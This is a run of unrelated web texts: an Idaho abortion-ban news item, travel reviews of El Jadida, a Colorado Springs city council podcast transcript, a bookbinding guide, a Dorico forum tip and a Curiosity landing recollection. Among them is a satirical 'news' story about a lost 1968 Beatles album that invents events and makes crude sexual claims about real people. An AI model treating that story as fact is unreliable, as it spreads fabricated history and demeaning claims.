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- The Biden administration vowed to block abortion bans as Idaho signed a six-week ban into law.
- Idaho became the first state to enact legislation similar to Texas’ restrictive abortion law.
- The Idaho legislation came before a SCOTUS decision that could challenge Roe v. Wade.
The Biden administration pledged on Wednesday to block abortion bans in the US as Idaho adopted a Texas-style law that banned abortions after about six weeks.
Earlier this week, Idaho’s Republican Gov. Brad Little signed the abortion ban into law, modeled after the Texas legislation, which relies on private citizens to enforce the ban via lawsuits. The Idaho legislation also allows family members of the “preborn child” to sue providers who perform an abortion after cardiac activity is detected in an embryo.
“This development is devastating for women in Idaho, as it will further impede women’s access to health care, especially those on low incomes and living in rural communities,” Jen Psaki, the White House press secretary, said in a statement.
Idaho became the first state to enact a law modeled after the Texas legislation, which is the country’s most restrictive abortion law and made abortions in the state plummet in the first month because of a backlog in care, Insider’s Taiyler Mitchell reported.
“Over the last six months, Texas’s SB8 has had profoundly negative effects — with women forced to travel hundreds of miles to access care, and clinics in neighboring states seeing a significant increase in demand since the law went into effect,” Psaki said in the Wednesday statement. “This is unacceptable, which is why President Biden directed a whole of government response to protect women’s rights that are currently under attack.”
“The Biden-Harris Administration will continue to stand with women and support their right to make their own health care decisions, a constitutional right that Roe v. Wade reaffirmed nearly five decades ago,” she continued. “And the President again calls on Congress to act and send a bill to his desk to shut down these radical steps.”
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The Portuguese City of Mazagan (El Jadida) is a port city on the Atlantic coast that was seized in 1502 and subsequently ruled by the Portuguese until 1769. It has been acknowledged for its interchange of influences between European and Moroccan cultures.
The Portuguese built a citadel here in 1514 and enlarged it into a fortification in 1541. They also constructed 4 churches within the fortification. The remaining buildings from the Portuguese period are the cistern and the Manueline Church of the Assumption.
After the departure of the Portuguese, the city remained uninhabited until the mid-19th century.
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I visited this WHS in April 2018. Just as Essaouira was formerly known as Mogador, El Jadida was known as Mazagan. Both fortified towns are along the Atlantic coast and both have their own charm even though El Jadida is definitely smaller and lacks the medina atmosphere.
Apart from wandering in the few streets with bilingual names and alphabets in Portuguese and Arabic, the only three things to do here are walking on the fortified walls with a very picturesque view (photo - best time is in the morning), visiting the underground cistern and visiting the Manueline Church of the Assumption.
El Jadida in a way is quite similar to the Three Cities or Mdina in Malta and the Cittadella in Victoria/Rabat, Gozo. Next to the entrance gate is a tower-like monument with the UNESCO WHS inscription plaque. As a little trivia, the UNESCO symbol on the plaque is upside down!
All in all El Jadida is a worthwhile half day trip from Rabat and you can easily stop half way to take in Casablanca too. La Capitainerie is a hidden gem of a restaurant within a former church/chapel and their hummus, calamari dish and/or seafood tajine alone are worth the visit!
This old Portuguese fortified town is quite small and it doesn't take too long to walk through it and get a sense of the place. It's quite interesting in the way it was designed and the historical significance in indisputable. There are some nice views from the walls but, other than that, there's not a whole lot to see.
There were not many visitors at all when I came and I guess it's not the most popular place in the country. In fact, I didn't bother staying the night here and got the train up to Rabat afterwards (although that did get me in quite late).
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I travelled to El Jadida by train from Casablanca-Voyageurs, then took a petit taxi to visit the Portuguese city.
This was very compact area contained within walls and bastions. The connections to Portugal were limited however to an underground cistern and the Church of the Assumption.
The portuguese city is old that's why it's in ruins. El Jadida is full of really great people both in 2001 and 2004 when I went. Everywhere life is bustling and everyone is ready to roll out the red carpet for visitors. The beach Sidi Bouzid is beautiful and worthy of its fame. El Jadida is more than just the Old City. The cafes are quaint and the food is good. Now that it's been so built-up it's well worth a stop. Essaouira was freezing in September due to the wind. El Jadida was and will be my favorite and if you're looking for the real Morocco, not shopping centers in Casa or touristy games in Marrakech then I recommend El Jadida.
Nothing has changed in El-Jadida recently. I was in January 2009 and the conditions in old medina are appaling. Litter everwhere, old Portugese churches are closed, many houses are ruined, mosques are closed for non-muslims as usual. Despite that it is worth visiting - walls are strong and well preserved, Portugese cistern is a "must" to see and really interesting. The most impressing view of Mazagan is from the pier in fishing port, especially in the early morning of sunshine day - recommended.
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The discovery last week of a previously unknown Beatles' studio album from 1968 – recorded at EMI Studios in New Delhi (formerly known as Delhi) in India – has prompted the band's many researchers and experts to reassess the Beatles' catalogue.
And it has sparked excitement among fans that the recordings – 14 songs, only three previously familiar but on the Rishikesh album in very different versions – because there is an already planned commercial release of the “Rishikesh Album” in 2018.
The background to this recording is as interesting as the music itself, which in some places is unusual, unexpected and innovative. And often quite unlike anything else in their catalogue.
It is well known that in February '68 the Beatles – smarting from the critical drubbing for the McCartney-directed cinema verite film The Magical Bicycle Tour – retreated to an ashram in the hilltop town of Rishikesh in Northern India.
Here they would study meditation and cosmic consciousness with the Indian guru, mystic and charlatan Maharishi Maurice Bhagwan-Ji (more commonly known as the Maharishi or Maurice B-Ji).
However after two months of sitting around and thinking, the three remaining Beatles – Ringo having earlier gone back to Britain complaining of the lack of Wimpy Burgers – discovered the Maharishi (more commonly known as Maha-Rishi-Rishi Maha-Ha-Ha) had shown unnatural sexual interest in one of the women on the ashram.
It is believed that woman was Prunella Farrow, sister of the thin and boyish actress Mia Farrow. Prunella was known to be a sexual athlete with the morals of a goat. She would entertain the Maha and other men in her room and rarely "come out to play" (as John Lennon would later write) or appear for meditation classes.
When Lennon confronted the Maharishi (more commonly known as Maurice Bee-Ji) about his prurient interest in her, he denied everything, even when Lennon and McCartney pressed the matter, and his head, against a wall.
Unpersuaded by the denials and cries for help by the Maharishi (more commonly known as Dave), the three Beatles then de-camped to Mumbai (formerly known as Delhi).
There they spent a few days with their wives and partners in the famous and prohibitively expensive Taj Mahal Palace Hotel with friends like fellow evacuee Donovan. He had been at the Rishikesh ashram because he mistakenly thought it was a mediation seminar which might have been helpful because he was in hefty copyright litigation with his manager Gypsy Dave.
From recently uncovered accounts in the Mumbai EMI office, it seems the three Beatles telephoned their replacement drummer Richard Starr and invited him – in a contractual obligation manner – to come back to India from his holiday at a Butlins retreat near Brighton-on-Sea.
And so the four Beatles convened for two days of spontaneous recording at the EMI Studios in Delhi (formerly known as Goa).
The results of these 12-hour days of jamming -- but also serious recording -- were uncovered just last week when EMI India cleared out a warehouse in Mumbai (formerly know as Calcutta).
Unusually -- among the many documents found there along with a single copy of the album in a paper sleeve -- is a sign-off on the album's release by all four Beatles. (Lawyers say some of the signatures are rather slurred).
The record came to light in a clean-out of the EMI Mumbai offices where it was discovered with relevant paperwork behind an old fridge.
All other copies of Rishikesh (more correctly "RISHiKESH" according to the cover) were believed lost in The Great Fire of '76 in the city's Warehouse District which also destroyed all copies of David Bowie's ambient drone album Tamboura Tamboura also recorded in Bombay (aka Mumbai).
The contents of the Rishikesh recordings are quite extraordinary: among them are a few songs which would become familiar on a later album simply entitled The Beatles (also know as The White Album) but most are entirely new songs.
Among the recognisable songs are Lennon's Child of Nature melody which he would later reconfigure in his solo career as Jealous Guy, and also his Dear Prunella (“don't you open up your thighs”). The latter was addressed to Prunella Farrow.
But it is the new songs on the Rishikesh sessions which are quite remarkable: McCartney leads a darkly meditative piece about indigestion entitled Why Did I Do It On The Riverbank; Harrison offers a rockabilly song (Get Out Get Out But Get Back In) and a massive and vaguely familiar ballad Wonderful Wall (“after all, you're a wonderful wall”); Lennon has a searing Enough Enough/He's So Light (which seems addressed to Maha-Etcetera) and Mr Ringo – aka Mo-Starr of the gangsta rap group in the late Nineties -- gets a solo spot on an angry rocker called Home Home Gemme Home.
Three of the other songs are embellished by a small Indian ensemble.
The closing track is the oddest of all: It is McCartney and Lennon together singing Harrison's Within You Without You over musical hall piano which neatly segues into McCartney's When I'm Sixty Four and ends with mocking laugher (as per Sgt Pepper). But in the run-out groove you can hear Harrison's voice as he storm into the session.
It is hard discern what he is shouting but an initial hearing suggests when it is played backwards it sounds something like, “You fookinfookuhas, you fookeen cunss . . .”
In a statement Sir Richard Starr says he has “no recollection of this album at all” and calls to Paul McCartney's London office proved fruitless.
“Mr Paul, he no here now,” said an unidentified woman. “He maybe no come here again. Someone tell me maybe he dead again.”
The Beatles' rare Rishikesh album in expected to get commercial release – after litigation – in early 2018 and will come as a 15-CD box set with photos, a 1200 page booklet of memorabilia, a recently signed photo by Maurice Bee-Ji (who died in 2008) plus a free copy of the vinyl version of the record.
The vinyl will come in a replica of the cheap paper-thin sleeve designed in Mumbai (formerly known as Hamburg) by Astrid Krishna, the photographer friend from the Beatles' days in Germany.
One Beatles expert who has heard the album, the late Ian MacDonald, said yesterday that “the discovery of this music is like finding another book of The Bible or a musical Rosetta Stone”.
“It is thrilling and will doubtless engage scholars and fans for decades. It's just a pity the music is so mundane.
“It really does sound like the kind of thing the boys might have done over a few days to get away from wives and girlfriends who were out shopping for silk and saris.
“Its all tosh, frankly. But fascinating nonetheless.”
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Behind the Springs. Full transparency and inside. Look at your local government. Colorado Springs, nearly 500,000 people, Olympic city, USA, garden of the gods, Pikes peak. We are a growing city. Our local government has a lot of employees. What exactly do they do? how does it impact my life? This is where you find out behind the Springs and inside look at your local government.
Thanks for listening everyone. Have you ever been to a Colorado Springs city council meeting?
Do you know who your city council representative is?
For most people, the answer to both questions is a big no and that's okay. Right Ted?
Yeah, that's okay. We want to give you a quick overview of city council, whether you plan on attending or not.
There are several ways to stay informed and in the loop and we have city council president Richard's Skorman with us today to explain about some of those and just kind of in general what city council does. Richard, thanks for being here.
Yes, happy To be here.
and we're excited to talk with you as you have been in the community for many years about how you sort of, um, became involved in this city to begin with and how, um, you adopted this city as your own and really, you know, Rose up and became a city council member and then S and then city council president. Tell us about your story.
Well, I came here in 1970 and I, uh, worked in a bookstore when I went to Colorado college. They went out of business. I ended up buying their books and then I opened up my own little bookstore and the rest is history. I a poor Richard's a little Richardson. Rico's with my wife Patricia, and uh, been on Tejon street in business for 45 years.
Oh, that's awesome. Well, I mean, you could have stopped there and just been a local business owner. So what made you, you know, take that next step?
I was very passionate, uh, about many issues in the city, especially a downtown as a downtown businessman. And then I also fell in love with the outdoor life here. So I came, uh, and just realized from, I came from Akron, Ohio, a place that was Drury and, and polluted and uh, thought I landed in paradise. I helped a lot to pass the tops initiative, trails, open space and parks initiative that we, we tax ourselves of 10th of a cent to protect land and to build trails and parks and was able to help save some big open space areas like Stratton, open-space, Cheyenne mountain state park, red rock Canyon. And that's really how I got involved in politics. I started at park board and then got elected to council.
Well and then uh, you, you came back to council, cause talk about the, the differences between, you served in the early two thousands and I always like to show people when I take them on the tour, I say a, so this is the council president's office and then here's the picture of them now and then here's the picture of them now going on almost 20 years ago when you first serve. Um, so talk about why you serve then. It sounds like because of, uh, some parks issues and then you came back because of a Save Cheyenne and, and some other, uh, uh, of your personal endeavors that you did. But what gave you that burning desire to get back into council?
Well, eh, I actually really enjoyed it. It's funny, I tell people I have a master's degree in city council as I addressed. I, uh, really got to enjoy it. Local government is not partisan and it's really about a prac pragmatic, uh, things that you do for the citizens. You, you deliver services, you help keep them safe, you protect land. That's one part of it. But you're really, uh, opening doors and, uh, making a difference in their daily lives. And, uh, I always joke and say potholes aren't Democrat or Republican. They're just puddles when they need to get fixed. And I enjoy that. I'm a small businessman and I enjoy helping people and I enjoy fixing things.
Well, I think that is the interesting thing of city council and I'm your communications specialist. So, uh, obviously I work closely with you guys, but I'm trying to explain that to people. Sometimes we'll get some comments about, Oh, you guys are leaning this way or that way. Well, there's no real leaning when it just comes to local government and what's best for the city. Um, I also want people to understand though, a quick question cause we're going to kind of do kind of a council one-on-one, uh, for people out there that think that you guys are so highly paid. Tell people how much you are paid.
Well, we're paid a $500 a month stipend, $6,250 a year. Whoo. So we're, we're not doing it for the money.
No, that's for sure.
Although I would like to see more pay, not, not necessarily for myself but for future councils because if we paid enough we could have more young people and more people that represented the community in different ways. And right now it's tends to be more retired people. I am not retired, but I have a lots of people helping us run our businesses. My wife is working harder these days. But really the, uh, two thirds of us are retired on city council.
Can you explain a little bit about what the role of city council is. I think sometimes people get confused about what is the mayor's role versus what is city council's role. So kind of what is that legislative outlook and, and um, um, what, what is your job as city council?
Well, we, we basically are the Congress and the mayor is the president, uh, of the city. The mayor runs the day to day operations of the city and he's the executive or she, and they, uh, they basically, uh, have that control. The, the council doesn't get involved in how the police department is run or what, what they're doing in the streets. That day. We, we have, uh, an oversight responsibility when it comes to budgets. And then we handle all the codes and ordinances. We are the entity that puts everything on the ballot. And then we are the land use, uh, decision makers. So anything that has to do with rezoning or building or you know, construction, uh, it all comes to council and we have the ability to say yes, no, or people can appeal to council. And then we are also the board for the utilities. So a, all four of our utilities were one of the largest four tiered utilities in the country. People don't realize that that's owned by the rate payers. Most of them are investor owned utilities has a almost a billion dollar budget. Uh, we have probably a couple hundred thousand customers. We have 2000 employees and we make all the final decisions about the utilities. And so it's a, it's a lot of responsibility.
And what are those four tiers of the, the utilities for people that don't know?
Well, there's a water, wastewater, electric and gas and uh, and we provide them not only to every citizen in Colorado Springs, but we have some other areas like Manitou Springs and other partners out there that we provide utilities for. And, uh, it's, it's very complicated these days, especially with all the, uh, the, the water problems that they're having in the West. You know, one example I like to give is that a, we get 70% of our water from the Colorado river. And if you took the Colorado river and made it into the geography it serves, it would be the fifth largest economy in the world. So we have those senior water rights, but you hear on the news a lot, you know, everybody's fighting for Colorado river water. It's Southern California, it's Nevada, it's Arizona. And, uh, we are the ones who get to use it first, but we may not always have that privilege.
And that's a little tease into what we're going to talk about in the second part of this podcast is more about what you guys do for utilities. Going back to, um, city council side of things, what do you think the biggest misconception of what you guys do is by the public? I know you were listing out what you actually do, but what, what are some of the misconceptions that you see out there?
Well, people assume that, uh, we're in this for our careers or that we're aligning our pockets or that we have a lot of, uh, of, uh, special interests that lobby us and we're doing everything we can to get reelected. Well, for one thing, we're only allowed to four year term
and we know you're not lining your pockets and we're not lining their pockets and, and
it's a more than 40 hour a week job. And so it's not, we're doing this because we care about the community for the most part. And not saying everybody is perfect. And a, the, the other issue that people are, uh, misconceive about us is that we can affect the day to day operations of the city. So we can call up the police department and tell them X, Y, and Z. And we don't have that authority. We can certainly ask questions and they respond, but, but what we do is much more in a, in a higher level in terms of, uh, policy issues and, uh, and budget.
But that's also where the collaboration between city council and mayor comes in. Correct.
Exactly. And, uh, and, and we're getting along well. Uh, this was a government that really works. I think it's an example that you don't see in other levels of government, maybe States or federal government. Uh, we, we tend to work together cause we all have the same purpose. Uh, we want to do what's best for the citizens of Colorado Springs. And talk about, uh, how healthy is that for the city when, when the mayor and the council are able to work as closely as, as you guys are right now? Well, it's very healthy. You know, we have lively debates so we don't always agree. But, uh, what we try to do is not have the, uh, the debates be personal. We don't want to, uh, let the, you know, let the public know that, uh, that we're are arguing or upset or that there's somebody that's doing something nefarious. Uh, well let's get it all out on the table, talk about in public forums and then see gonna be respectful and, uh, and then let's, if we don't get our way, let's move on and keep doing good work.
And I think the critical part to that we want to emphasize during this podcast is how can people get involved? How can they, um, you know, from all the way from coming to a city council meeting and commenting on an issue to just knowing what the heck is going on. Um, and that can just be as simple as checking online, right, Ted?
Yes. Uh, that's kind of in my wheelhouse a little bit. Uh, if you go to our webpage, it's Colorado springs.gov/city-council, I believe, um, or just Google Colorado spring city council and you'll find it. But, um, there's ways to contact us on there, uh, either by email or by phone. Um, as well as you can come down and speak at citizen comment, which I'll let Richard explain a little bit more. Uh, uh, you guys call yourself the most accessible form of government, which, uh, which I think is very true. So if somebody wants to come speak to you guys and bring up an issue that they may be having in their neighborhood or, um, an issue that they have with, with a law that they think should be on the books, what should they do?
Well, they, uh, they should come to city council and, uh, our meetings are every second and fourth Tuesday. Uh, we also have a, you know, many other public meetings. We have town halls. There's lots of other opportunities to talk to us. But, but we're quite available. We, uh, we answer our own cell phones. We're there, uh, the talk to on the street. It's not like a, you know, we, we, we are, we are really accessible. It's the part of democracy I think that is the most successful is local government. And, uh, but they can come to citizens discussion, talk about anything they want that isn't on that day's agenda for three minutes. Uh, I let people sometimes even go over because they have a lot to say. And then we often can respond. We didn't realize that there was a problem with the crosswalk and the kids going to school or we didn't realize that a, this neighborhood is worried because they're, uh, having some flooding problems. And so we can really try to get some help and the answers for people. If it's an agenda item, again, we let you talk, it's three minutes a if you need to talk longer. If you have a land use issue and you don't want to see a building or like apartment house and you and your, we let you talk as long as you want to make sure that you can make your case and then we make our decision and uh, hopefully people at least feel like they were heard.
Well and that's where there's the good connection between you guys and mayor's office. A chief of staff, Jeff Green is, is there at the meetings so you guys can normally bounce off of him to get him to get his people to follow up. If there's something that's one of those day to day sort of things like you were talking about earlier, that's technically under the mayor side of things, right?
Yeah. And, and they really do. They really work well when counsel asks questions, they get us answers. Now it hasn't always been like that. Uh, there's been other, other mayors and councils maybe that disagree, but that this is really a government that I think is a good example of working together.
I wanted to mention too before we go to a quick break that, um, another, another thing that you can do on that website, Colorado springs.gov/council, um, is also, um, find out who your city council member is. I mean, that's important to know. I mean, maybe you didn't vote last time. Hopefully you will next time. But just to know who's representing you in your part of the city, um, who is the, who are the at-large city council members and just sort of educate yourself on who's representing us.
And you can also sign up for our newsletter that comes out every Friday prior to the meetings that has the agendas for the upcoming meeting to uh, to stay in touch with what's going on. But we're going to have a lot more with Richard Skorman and council president, uh, here in just a moment after the break.
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Yeah. Out of any podcasts right now, we're giving Oprah a run for her money. I think that's right. Again, we're here with the city council president Richard's Skorman. And we're going to continue to talk just to touch about a city council matters and then we're going to segue into a more about what you guys do with utilities. But I think one of the biggest things with city council is you guys are working towards the future of Colorado Springs. The future has been for decades now. The growth of Colorado Springs, um, talk about making decisions for if it's developments, if it's banning Lewis ranch, whatever it may be, to, um, to do growth in the best way possible for this community.
It's a very tough issue because, uh, those of us who have been here since 1970, I remember when I moved here, everybody said the Citadel mall was going to be too far out of town. And, uh, and now it's the geographic center. And so it's not, not easy to think about how we've changed and it's not the same old Colorado Springs. A sleepy. I used to drive in Denver and I wouldn't see a car for five or 10 minutes and that a, that hasn't happened for a long time, but, but, but, but the problem is, uh, we have a, a a birth rate over death rate in Colorado Springs. That's about three to 5,000 people a year. And then you add the in migration of another 00020003000 and good economic times and we're, we're, yeah, we could grow by up to 10,000 people a year. And so it's how we grow. That's going to be really important. And it's not easy to think about, you know, Colorado Springs is the 18th largest city in the country geographic wise. We have about 200 square miles. So there's a lot of, uh, of, uh, opportunity to grow. But there's also a, a ways that we have to provide service to all that 200 square miles. We have a, we have a population that are heavy park users and then we invite the whole world here to visit. So we have about 20 million visitors who use our parks and use our roads and our infrastructure.
We want them here, but it's a, it's a balancing.
Are we loving it to death?
Yes, we are. And, and then there's all this new development that's happening in the County and the County, uh, doesn't have the water that we do. They don't have the fire protection, the police protection, the parks, the roads. It's not, not saying that, you know, they're not trying, but it's the city that really has the ability to put all that infrastructure together. Uh, ADA infrastructure for people with disabilities, stormwater infrastructure. We're the only ones with the fee. So right now, you know, they're talking about Falcon being 50,000 people. And so is that something that is good for the community? It really is right next door to us. Or do we as a city want to talk about, should we annex or should we, uh, require that they put in the infrastructure and pay for itself. So, uh, they have what they need in the future because 25 years from now they may ask us to bail them out because they don't have enough water.
And that, and that segues us right into our next, uh, uh, point of talk, which is that you guys are the utilities board here. Um, I think it was mayor who is talking about, uh, they once thought general Palmer was crazy for wanting to build a city here where there was no real water source. Um, obviously how well utilities has been doing for decades now. There is a pretty good water outlook before the region itself. Can you talk about what the water outlook for the region is and how important that's going to be for our city utilities?
Well, the, the uh, Colorado Springs, uh, if we had to depend on the Pike's peak watershed, uh, we would have about 20% of the water we need. We, we import 80% from, uh, up to 200 miles away and very high quality water. And we had people that were in my seat before that were very aggressive and people in the utilities who were able to get senior water rights. And, and that's a great thing. But, uh, in that process, uh, we also, uh, it, we have to spend all that money moving it here. So it's not, not quite cheap like it would be if you had a big, you know, Lake or river right by you. And then everything that we, uh, we bring into the city goes into fountain Creek. So fountain Creek is, uh, would've been dry about a third of the year in the old days, and now it's turned into kind of a river. And then everything that goes into the fountain Creek slash river goes into the Arkansas river and it goes through 180 what water treatment systems before it gets to the Gulf of Mexico. So you combine that with the fact that we have highly erodible soil and we have such elevation drop. We go start fountain Creek at 13,000 feet and it goes down to 4,000 feet. Uh, so, so we have a big flood potential. And, uh, and so that, that that's been a problem for us because we had all these water rights, but we couldn't get anybody to allow us to make, make these big dams. Nobody wants to dam up huge valleys anymore. If you drive up by bueno Vista, you see a sign saying, don't let Colorado Springs dam the Arkansas. So where are we? We're able to put water as in the Pueblo reservoir in order to do that, uh, we had to pump it up here, but we had to get pueblos permission and Pueblo County basically said, do you fix your flood problems? And it's not just a water, it's sedimentation. You, you see how the, the uh, the Arkansas river connects with fountain Creek. It's this big Brown fountain Creek going into a clear Arkansas river. We have that. And then the other issue that we have, it's really difficult here is we have one of the largest wild land urban interfaces in the country. It's about 25 miles from NORAD up to the air force Academy with national forests. 1.1 million acres. Lot of it's dry. A lot of it's built into, into, so we want to suppress fires. A lot of that, uh, has very little access in and out. And so people witness that with Waldo and black forrest. And so, you know, we have two geographic issues, both floods and fires that uh, are always always on, uh, on the front of everybody's mind. Council's is super aware of it. So as utilities.
And can you mention too, I know, uh, folks can get involved in utilities board and come and speak just as they do at city council, is that correct? Yeah, absolutely.
We meet usually the third Wednesday of every month. We have citizens discussion there and people are welcome to come and they're also welcome to speak at the agenda items. And then we do a lot of outreach through utilities because, you know, we know that this is really an important part of [inaudible] people's lives in Colorado Springs rates are a huge factor, but high quality water, making sure that the power is on. And what we've been able to do well is that we have some of the highest reliability in the country. We have a high bond rating, we have the, some of the best water quality in the country. I don't know if you travel, but you go places you can drill. You want to just grab, grab the bottle of water if you drink something out of the sink. And uh, and we, uh, we really do provide customer service. If you have a gas leak problem, we're out there lickety split because we know that this could be a danger. It's a great utility. It really, really is.
And it's interesting because I think if I may say so, I think what you're speaking about, the water issues and all the issues that city council tackles, I think are those issues that we take for granted. I mean our clean water and the zoning and the different ordinances that we, we do want to see in place. But again, I don't know how involves that. I really need to get, I would argue that most residents aren't super involved, but they want you to get it all right. But they don't really know what's happening. So I think incur, if I may encourage people to, to do, just get a little bit involved. Even if you're just reading the agenda or you know, watching the news about what happened at city council that night or whatever, familiarizing yourself with some of the big issues that are happening. I think that you might find that you're more interested than you think
or even watching the meetings, uh, work for Springs TV. Uh, you guys are the ones that broadcast the meetings. We broadcast it now on, at least for city council broadcasts that on city councils, Facebook page, um, there's a of ways, you know, 18 [inaudible] all utility board meetings,
right? And so there's lots of ways for you to stay informed even if you're not listening to every moment or you're not up on every single issue. Just getting involved in some way I think is really important.
Well, and also email out until we do respond and sometimes it takes us a little while cause we're in the, you know, an eight hour meeting or whatever. But a counselor really does care. And, uh, we will get back in touch with you if you, uh, reach out to us.
Well, that's also why we hired a constituent response specialists now too, who will also help answer people's questions because we have gotten an influx of people that are more curious about what going on.
another result of a growing city, which is great.
Is that, is that we have people to answer your questions. Um, one of the things that you were also saying Richard was, was how quickly a utilities gets out there to fix things, which I've seen our, our electricity randomly went out a couple of weeks ago and they were on it and a half an hour, 45 minutes. Um, talk about, you know, that's obviously great leadership is why that happens. But talk about the different positions that council or the utilities board, appoints that people might not know that you guys do this.
Well, we don't have many, uh, direct hires, but we have our council staff of which to those one. And we have a about other people that work for us in different ways, legislative analysts and people that are helping with a lot of our daily duties. A great staff over there. And then we appoint the, uh, city auditor.
So that's independent from the, the utilities and from the mayor's office, from the general city, because we want that person to have a, they're that outside pair of eyes. And then we also hire the CEO of utilities. So the chief executive officer, that's our only hire over there,
which you guys did last year.
We just did last year. We had a, a, a utility director that worked for us for, since I was on council before. We agree, hired him in 2005. And, and uh, he finally retired Jerry forte and we hired another great, uh, person to lead utilities Aram Benyamin and uh, but it was a big, yeah, it was a process. Very important decision. Yeah. But we, uh, we don't have a lot of direct hires. The mayor checks with us when he hires a police chief. He has us on the, uh, interview committees when he hires the city attorney. All that is partly a, our responsibility. He makes the final decision though.
And speaking of getting involved as I was, I'm urging people to do earlier, can you tell us about, you were saying that you even have some young folks who come to you and have ideas for city council.
So this is a great example. When I was on council before Mary Lou Makepeace, the mayor and we, uh, had several people that you wouldn't know today, but we had a group of middle school kids who came to us and said, did you know that in the drug stores and convenience stores that they put cigarettes down by the candy? And we said, well, geez, why, why did they do that? Well, they want the kids to think that cigarettes might be, you know, something to, to, uh, be interested in, or maybe they want them to shoplift. We don't know. And, and we, we were outraged and we actually passed a law that, uh, said they had to be up above a certain, uh, area above the counter. And we were one of the first cities to do that. And it was because of middle school kids. We did this.
Yeah. And those are some of the positive things that come out of the, the council meetings. I remember when I was a kid, I don't know if they still have them, but the candy that looked like cigarettes, I think it turned into gum or something like that. But uh, but there's also, you guys do proclamations, you guys do other recognitions for, um, for people that are doing great work in the city. Um, and then also, I know because of the two different times that you've been on council, you gotta have a good, funny story for us.
Okay. Well this, this is the one that I, uh, I use all the time and uh, people always seem to laugh, so let's see if your audience does. But I was passionate. I was the chair of the board of the Pikes peak area council of governments. And it was when Medicare plans were starting to, uh, come out for drug prescriptions and we had the area agency on aging. And I said, we need to be that provider. We needed to give everybody advice. And I made this passionate speech and at the end I said, we need to take the ball by the horns. There was complete silence and then everybody started laughing. And, and uh, that was when I said, I'm taking myself too seriously. Yeah.
Everybody can't be perfect, but I will say, I think that story just gave us the title for this episode of the podcast. Take the ball by the horns. That's great.
Well, I appreciate your passion and I think a lot of Colorado Springs residents should, and you're not the only one. I think our whole city council, um, regardless of their different decisions or viewpoints, they all have a passion for the city, which is wonderful.
They do it and we all respect each other. And that's a, that's a wonderful thing. You come to work every day, you're on buckle your seat belt. You go. I, I've liked the people I work with. We have great staff in the city, a lot of dedicated public officials. I'm not saying everybody is perfect and you know, there aren't people that uh, may take advantage now and then, but, but boy for the government's I've seen out there, this is one of the best in terms of people that care about the community and people that work hard for the citizens.
One we can be proud of for sure.
Yes. Well, and you know, I think, uh, uh, we're wrapping this one up, but going forward, I don't know Jen, I feel like maybe an episode where we sucker the mayor to come back and talk to us cause I know he loved it last time and then we bring Richard in and we just show that that good comradery between both sides. I think it could be a fun conversation. So maybe a little tease for an episode.
I would also like to mention that we would love to hear people's ideas. If there's, there are topics that you'd like to hear more about, please let us know. Colorado springs.gov/podcast you can find out more and you can email us or send us a message. We'd love it.
Yes. And we have gotten some emails and some requests. So, uh, we're, we're going to start getting to those, uh, very soon. But Richard, I want to say thank you very much again. Actually, you really lucked out. You're the only, uh, interview we that we've had on here that I haven't hit with of great sound effects.
Well, that's a nice one. Yeah.
So I'll, I'll hit you with the, a, with the applause for that. But normally I give out an acronym alert or a bureaucratic Babel. So you said you stayed away from both.
Well, I think that applause should be, uh, taking the ball by the horns.
that deserves actually.
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So you want to become a bookbinding apprentice? I don’t mean a real trade apprentice, but you could if you want. What I mean is you want to learn about bookbinding as a hobby or pass time. The DAS Bookbinding YouTube Channel is the perfect starting point for learning bookbinding. It covers foundation skills, simple projects, technical methods, materials and more advanced bookbinding projects. The videos are presented in a tutorial or lesson fashion, which I hope are easy to follow. The knowledge presented is based on traditional techniques which can be used to create traditional books or as a foundation to quality journalling or creative artists’ books. The best way to find what you are looking for is the DAS Bookbinding YouTube Channel guide. But before you head off there, let me give some advice about where to start.
The first question is what type of book do you want to bind? Do you want to bind your own journal or sketchbook or do you want to print your favourite classic from Project Gutenberg, or maybe you’ve written a family history that you want to bind. Maybe you’re finding there is a huge array of types of bindings you’d never heard of before, and tools, materials and equipment that are outright confusing.
If you want to make a journal or sketchbook, then let’s pick one of the favourites that uses easily obtained materials and can be made with improvised tools, and that is the Coptic sewn journal. This book has an exposed spine and uses very little adhesive and it opens very flat which is great for writing or drawing in.
Maybe you don’t like the look of the exposed spine, or you’re ready for a step up. Then the next project I’d recommend is the sewn board binding. This book can be sewn in a similar fashion to the Coptic sewn journal, or sewn in another style. Don’t forget to look for parts 2 and 3 on the DAS Bookbinding YT channel.
Now would be the perfect time to start to learn more about the materials used in bookbinding, especially paper. Paper, card and board has a property known as grain that has to do with how the fibres are aligned in the material. It is extremely important to understand grain to produce books that work well and will last a long time. Bookbinders generally use 3 types of adhesives, glue, paste and mix. Glue used to mean some sort of animal protein adhesive, but these days it means PVA. Paste is a starch based adhesive which can be made yourself or bought. An adhesive commonly used for wallpaper, called methyl cellulose, can also be used as paste. And mix is a roughly 50/50 mix of glue and paste, which gives the benefits of both. And finally, what’s the deal with the knots?
But I haven’t forgotten about you wanting to bind a printed book. Just as an aside, traditionally trade bookbinding was broadly divided into stationery binding, books to be written in, and letterpress binding, printed books. If you wanted to dive in the deep end, a rounded and backed cased binding is a solid binding for a printed book. And I have taught this as an introduction to bookbinding and I have a series of videos on this. But maybe a better starting point would be a stiffened paper binding. Right after this I’d recommend a square-back binding such as the Bradel. And if you have a stack of single sheets to bind the no-brainer is the double-fan binding.
These are just some ideas to get you started. I have almost 100 videos about many aspects of bookbinding, including more advanced projects such as leather bindings, 19th century library bindings, and my favourite, the springback. Browse the DAS Bookbinding YouTube Channel guide to find what you’re looking for or contact me if you can’t find it. Maybe it will be a future video!
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I haven’t seen this mentioned anywhere, so just posting this in case someone would benefit from it.
For most (though not all) types of items, you can select the first one, Ctrl/Cmd-click to select the last one, then use Ctrl/Cmd-Shift-A (Select More) to select all items within that range.
Huge time saver!
@pianoleo’s certainly a fan.
Welcome to the forum.
Even in Dorico 3.5, in Engrave mode, you can select the first note, Cmd/Ctrl-click the last note, then type Cmd/Ctrl-Shift-A (Select More) to select all the notes in between. Then set the property once.
Yes! (The title of this thread should be “Select More” range. When will I get my TL3 back?)
@DanKreider I’m glad you made this thread. I hadn’t seen @pianoleo’s previous mention of this. I had no idea this was a thing. Funny how all these little things can slip by.
Would be great if this (and the select more) would also work vertically.
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It was an intense time at Auckland Observatory watching live stream of the Curiosity landing on Monday sixth August 2012 on that day, that there were crowds in waiting for military marine style touchdown moment. Thinking back that moment in time was interesting to watch the same control room in which watch back successive landings of Sprit and Opportunity, looking back there was least three generations of rovers, two Sprit and Opportunity, then later Curiosity blue polo shirts are cool team!, whom have the same moment of excitement as they were landing awesomely on the Moon this time Mars for the first time like Apollo 11 did.
NASA-Eyes on the Solar System-Beta
